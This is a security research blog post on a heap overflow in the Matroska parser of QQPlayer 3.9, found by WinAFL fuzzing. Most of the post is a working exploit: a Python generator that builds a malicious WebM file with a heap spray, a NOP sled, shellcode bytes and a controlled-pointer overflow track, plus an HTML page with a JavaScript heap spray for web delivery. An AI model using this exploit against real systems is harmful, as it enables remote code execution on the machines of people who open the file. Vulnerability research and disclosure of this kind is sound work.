Back

/ 6 min read

QQPlayer 3.9 Heap Overflow: Matroska Exploitation

Introduction

QQPlayer 3.9, a popular multimedia player in Asian markets, contains a critical heap overflow vulnerability that enables remote code execution through malicious WebM files. This vulnerability was discovered during a systematic security assessment using WinAFL fuzzing and affects the application’s Matroska container parsing logic.

Executive Summary

Vulnerability Type: Heap Overflow
Attack Vector: Malicious WebM/Matroska files
Impact: Remote Code Execution
Affected Version: QQPlayer 3.9
Discovery Method: WinAFL fuzzing campaign

The vulnerability allows attackers to achieve arbitrary code execution by exploiting insufficient bounds checking in the matroskasplitter.ax DirectShow filter, leading to controlled call instructions and heap corruption.

Vulnerability Discovery

Research Methodology

QQPlayer was selected as a research target due to its widespread deployment and complex media format support. The research focused on WebM files due to the format’s complex container structure and increasing adoption, which often introduces parsing vulnerabilities in multimedia applications.

WinAFL Fuzzing Campaign

The fuzzing setup targeted QQPlayer’s WebM/Matroska parsing functionality using WinAFL with DynamoRIO instrumentation:

Terminal window
# WinAFL configuration for QQPlayer WebM fuzzing
afl-fuzz.exe -i webm_samples\ -o findings\ -D DynamoRIO\bin64\
-- -coverage_module QQPlayer.exe -target_module QQPlayer.exe
-- QQPlayer.exe @@

Key Findings

The fuzzing campaign revealed critical vulnerabilities in the matroskasplitter.ax DirectShow filter:

QQPlayer heap corruption analysis Crash analysis showing heap corruption in matroskasplitter.ax DirectShow filter

Critical Issues Identified:

  • Heap corruption in Matroska track processing
  • Controlled call instructions with attacker-supplied pointers
  • Multiple reproducible crash patterns
  • Insufficient bounds checking in container parsing

Crash Signature:

Access violation - code c0000005
eax=41414141 edx=41414141 esi=41414141 edi=41414141
call [eax+0x14] ; Controlled call with attacker data

Technical Analysis

Vulnerability Root Cause

The vulnerability originates from insufficient bounds checking in QQPlayer’s Matroska container parsing logic:

// Vulnerable code pattern in matroskasplitter.ax
typedef struct {
uint32_t track_count;
uint32_t track_entries[MAX_TRACKS];
char *track_data[MAX_TRACKS];
} matroska_context;
int parse_matroska_tracks(matroska_context *ctx, uint8_t *data, size_t size) {
uint32_t track_count = read_uint32(data);
ctx->track_count = track_count; // No validation
// Vulnerable loop - no bounds checking
for (uint32_t i = 0; i < track_count; i++) {
size_t track_size = read_track_size(data);
// Heap allocation based on untrusted size
ctx->track_data[i] = malloc(track_size); // VULNERABILITY
// Copy without size validation
memcpy(ctx->track_data[i], data, track_size); // VULNERABILITY
data += track_size;
}
return 0;
}

Memory Corruption Analysis

The vulnerability provides several attack vectors:

  • Heap Allocation Control: Attacker controls allocation sizes
  • Memory Copy Operations: Unrestricted copying to heap buffers
  • Track Count Manipulation: Excessive track counts cause overflow
  • Pointer Corruption: Heap metadata corruption enables arbitrary writes

Exploitation Strategy

Heap Spray Implementation

The exploitation strategy leverages Matroska multi-track abuse to achieve controlled heap layout:

#!/usr/bin/env python
# QQPlayer Matroska Heap Overflow Exploit
import struct
class MatroskaExploit:
def __init__(self):
self.ebml_header = self.create_ebml_header()
self.segment_header = self.create_segment_header()
def create_ebml_header(self):
"""Generate valid EBML header for WebM file"""
ebml = b"\x1A\x45\xDF\xA3" # EBML magic
ebml += b"\x9F" # Header size
ebml += b"\x42\x86\x81\x01" # EBML version
ebml += b"\x42\xF7\x81\x01" # EBML read version
ebml += b"\x42\xF2\x81\x04" # EBML max ID length
ebml += b"\x42\xF3\x81\x08" # EBML max size length
ebml += b"\x42\x82\x88webm" # Doc type: "webm"
ebml += b"\x42\x87\x81\x02" # Doc type version
ebml += b"\x42\x85\x81\x02" # Doc type read version
return ebml
def create_segment_header(self):
"""Generate Segment element header"""
segment = b"\x18\x53\x80\x67" # Segment ID
segment += b"\x01\xFF\xFF\xFF\xFF\xFF\xFF\xFF" # Unknown size
return segment
def create_track_entry(self, track_id, track_type, codec_data):
"""Create individual track entry for heap spray"""
track = b"\xAE" # TrackEntry ID
track += self.encode_size(len(codec_data) + 20) # Track size
track += b"\xD7\x81" + struct.pack('B', track_id) # Track number
track += b"\x83\x81" + struct.pack('B', track_type) # Track type
track += b"\x63\xA2" + self.encode_size(len(codec_data)) # CodecPrivate size
track += codec_data # Controlled codec data
return track
def create_heap_spray_payload(self):
"""Generate heap spray using multiple tracks"""
# Heap spray shellcode (calculator for PoC)
shellcode = (
b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
b"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
b"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
# ... shellcode continues
)
# NOP sled for landing zone
nop_sled = b"\x90" * 1000
# Spray payload: NOP sled + shellcode
spray_chunk = nop_sled + shellcode
# Pad to specific size for heap layout control
spray_chunk += b"A" * (0x1000 - len(spray_chunk))
return spray_chunk
def create_overflow_tracks(self):
"""Create tracks to trigger heap overflow"""
tracks = b""
spray_payload = self.create_heap_spray_payload()
# Create multiple tracks for heap spray
for i in range(50): # Spray heap with controlled data
tracks += self.create_track_entry(
track_id=i + 1,
track_type=1, # Video track
codec_data=spray_payload
)
# Create overflow trigger track
overflow_size = 0x10000 # Large allocation
overflow_data = b"B" * 100 # Controlled data
overflow_data += struct.pack('<I', 0x0C0C0C0C) # Controlled pointer
overflow_data += b"C" * (overflow_size - len(overflow_data))
tracks += self.create_track_entry(
track_id=999,
track_type=1,
codec_data=overflow_data
)
return tracks
def generate_malicious_webm(self):
"""Generate complete malicious WebM file"""
# File structure
webm_file = self.ebml_header
webm_file += self.segment_header
# Tracks element
tracks_data = self.create_overflow_tracks()
tracks_element = b"\x16\x54\xAE\x6B" # Tracks ID
tracks_element += self.encode_size(len(tracks_data))
tracks_element += tracks_data
webm_file += tracks_element
return webm_file
def encode_size(self, size):
"""Encode size using EBML variable-length encoding"""
if size < 0x7F:
return struct.pack('B', 0x80 | size)
elif size < 0x3FFF:
return struct.pack('>H', 0x4000 | size)
elif size < 0x1FFFFF:
return struct.pack('>I', 0x200000 | size)[1:]
else:
return struct.pack('>Q', 0x1000000000000000 | size)
# Generate exploit file
exploit = MatroskaExploit()
malicious_webm = exploit.generate_malicious_webm()
with open("malicious.webm", "wb") as f:
f.write(malicious_webm)
print("[+] Malicious WebM file created: malicious.webm")
print(f"[+] File size: {len(malicious_webm)} bytes")

Heap Layout Strategy

The exploitation technique leverages Matroska’s multi-track structure for precise heap manipulation:

Heap Layout Strategy:
┌─────────────────┐
│ Heap Spray │ ← Multiple small tracks with controlled data
│ (Tracks 1-50) │ (0x1000 bytes each, total ~80KB)
├─────────────────┤
│ Landing Zone │ ← NOP sleds for reliable execution
│ (NOP + Shell) │ (Multiple copies across spray)
├─────────────────┤
│ Overflow Track │ ← Large track triggering overflow
│ (Track 999) │ (0x10000 bytes, controlled data)
└─────────────────┘

QQPlayer heap spray visualization Heap spray implementation using Matroska multi-track abuse for controlled memory layout

Controlled Call Exploitation

The vulnerability provides controlled call [r32] instructions:

; Vulnerable call pattern in matroskasplitter.ax
mov eax, [heap_ptr] ; eax = attacker-controlled pointer
call [eax+0x14] ; Call controlled function pointer
; Exploitation strategy:
; 1. Spray heap with fake vtables
; 2. Corrupt heap metadata to point to fake vtable
; 3. Trigger call instruction
; 4. Execute shellcode via fake vtable entry

Proof of Concept Development

Attack Vector Analysis

The vulnerability can be exploited through multiple delivery mechanisms:

Local File Attack:

Terminal window
# Direct file execution
QQPlayer.exe malicious.webm

Web-Based Attack:

<!-- Malicious web page -->
<!DOCTYPE html>
<html>
<head>
<title>QQPlayer WebM Exploit</title>
</head>
<body>
<h1>Video Player Demo</h1>
<video controls>
<source src="malicious.webm" type="video/webm">
Your browser does not support the video tag.
</video>
<script>
// Additional JavaScript for environment preparation
function prepareExploit() {
// Heap spray preparation if needed
var chunks = [];
for (var i = 0; i < 100; i++) {
chunks[i] = new Array(1000).join("A");
}
return chunks;
}
window.onload = function() {
var spray = prepareExploit();
console.log("Environment prepared");
};
</script>
</body>
</html>

Execution success: QQPlayer exploitation demonstration Complete QQPlayer exploitation proof of concept with calculator payload execution

Conclusion

The QQPlayer heap overflow vulnerability demonstrates the critical security risks inherent in complex multimedia parsing libraries. The vulnerability’s exploitation through Matroska container abuse highlights the need for robust input validation in media processing applications.

References


Research conducted by: Alejandro Parodi (hdbreaker)
Disclosure Status: Coordinated with QQPlayer development team
Impact: Security patches integrated in subsequent QQPlayer releases